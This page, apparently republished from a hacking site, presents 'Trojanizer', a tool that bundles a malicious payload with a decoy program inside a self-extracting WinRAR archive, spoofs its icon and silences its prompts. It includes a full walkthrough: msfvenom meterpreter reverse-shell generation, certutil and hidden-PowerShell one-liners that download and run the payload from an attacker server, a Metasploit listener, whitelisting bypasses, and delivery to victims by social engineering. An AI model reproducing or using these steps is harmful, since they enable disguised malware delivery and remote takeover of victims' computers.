![Trojanizer - Trojanize Your Payload (WinRAR [SFX] Automatization)](https://thehacktoday.com/wp-content/uploads/2018/02/Trojanizer.png)
The Trojanizer tool uses WinRAR (SFX) to compress the two files input by user, and transforms it into an SFX executable(.exe) archive.
The sfx archive when executed it will run both files (our payload and the legit appl at the same time).
To make the archive less suspicious to target at execution time, trojanizer will try to replace the default icon(.ico) of the sfx file with a user-selected one, and supress all SFX archive sandbox msgs (Silent=1 | Overwrite=1).
Trojanizer will not build trojans, but from target perspective, it replicates the trojan behavior (execute the payload in background, while the legit application executes in foreground).
DEPENDENCIES (backend applications)
Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installed-in-wine)
“Trojanizer.sh will download/install all dependencies as they are needed”
It is recommended to edit and config the option: SYSTEM_ARCH=[ your_sys_arch ] in the ‘settings’ file before attempting to run the tool for the first time.
PAYLOADS (agents) ACCEPTED
.exe | .bat | .vbs | .ps1 “All payloads that windows/SFX can auto-extract-execute”
HINT: If sellected ‘SINGLE_EXEC=ON’ in the settings file, then trojanizer will accept any kind of extension to be inputed.
LEGIT APPLICATIONS ACCEPTED (decoys)
.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc .. “All applications that windows/SFX can auto-extract-execute”
ADVANCED SETTINGS
Trojanizer ‘advanced options’ are only accessible in the ‘settings’ file, and they can only be configured before running the main tool (Trojanizer.sh)
Presetup advanced option
Trojanizer can be configured to execute a program + command before the extraction/execution of the two compressed files (SFX archive). This allow users to take advantage of pre-installed software to execute a remote command before the actual extraction occurs in target system. If active, trojanizer will asks (zenity sandbox) for the command to be executed
— single_file_execution
Lets look at the follow scenario: You have a dll payload to input that you need to execute upon extraction, but sfx archives can not execute directly dll files, This setting allow users to input one batch script(.bat) that its going to be used to execute the dll payload. All that Trojanizer needs to Do its to instruct the SFX archive to extract both files and them execute the script.bat
single_file_execution switch default behavior its to compress the two files inputed by user but only execute one of them at extraction time (the 2º file inputed will be executed) …
TROJANIZER AND APPL WHITELISTING BYPASSES
A lot of awesome work has been done by a lot of people, especially @subTee, regarding application whitelisting bypass, which is eventually what we want here: execute arbitrary code abusing Microsoft built-in binaries. Windows oneliners to download remote payload and execute arbitrary code
The follow exercise describes how to use trojanizer ‘single_file_execution’ and ‘Presetup’ advanced switchs to drop (remote download) and execute any payload using ‘certutil’ or ‘powershell’ appl_whitelisting_bypass oneliners …
1 – Use metasploit to build our payload
|
1 |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe |
2 – Copy payload.exe to apache2 webroot and start service
|
1 2 |
cp payload.exe /var/www/html/payload.exe service apache2 start |
3 – Edit Trojanizer ‘settings’ file and activate:
|
1 2 |
PRE_SETUP=ON SINGLE_EXEC=ON |
4 – Running trojanizer tool
|
1 2 3 4 5 |
PAYLOAD TO BE COMPRESSED => /screenshot.png (it will not matter what you compress) EXECUTE THIS FILE UPON EXTRACTION => /AngryBirds.exe (to be executed as decoy application) PRESETUP SANDBOX => cmd.exe /c certutil -urlcache -split -f 'http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe'; Start-Process '%TEMP%\\payload.exe' SFX FILENAME => AngryBirds_installer (the name of the sfx archive to be created) REPLACE ICON => Windows-Store.ico OR Steam-logo.ico |
5 – Start a listener, and send the sfx archive to target using social engineering
|
1 |
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit' |
When the sfx archive its executed, it will download payload.exe from our apache2 webserver to target and execute it before extract ‘screenshot.png’ and ‘AngryBirds.exe’ (last one will be executed to serve as decoy)
The follow oneliner uses ‘powershell(Downloadfile+start)’ method to achieve the same as previous ‘certutil’ exercise ..
|
1 |
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe' |
The follow oneliner uses ‘powershell(IEX+downloadstring)’ method to achieve allmost the same (payload.ps1 does not touch disk)
|
1 |
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))" |
DOWNLOAD/INSTALL
|
1 2 3 4 5 6 7 8 9 10 11 12 |
1º - Download framework from github git clone https://github.com/r00t-3xp10it/trojanizer.git 2º - Set files execution permitions cd trojanizer sudo chmod +x *.sh 3º - config framework nano settings 4º - Run main tool sudo ./Trojanizer.sh |
Framework Screenshots
xsf.conf – execute both files upon extraction (trojan behavior)
xsf.conf – single_file_execution + Presetup (advanced options)
xsf.conf – single_file_execution + Presetup + appl_whitelisting_bypass (certutil)
xsf.conf – single_file_execution + Presetup + appl_whitelisting_bypass (powershell IEX)
Final sfx archive with icon changed
Inside the sfx archive (open with winrar) – trojan behavior
Inside the sfx archive (open with winrar) – single_file_execution
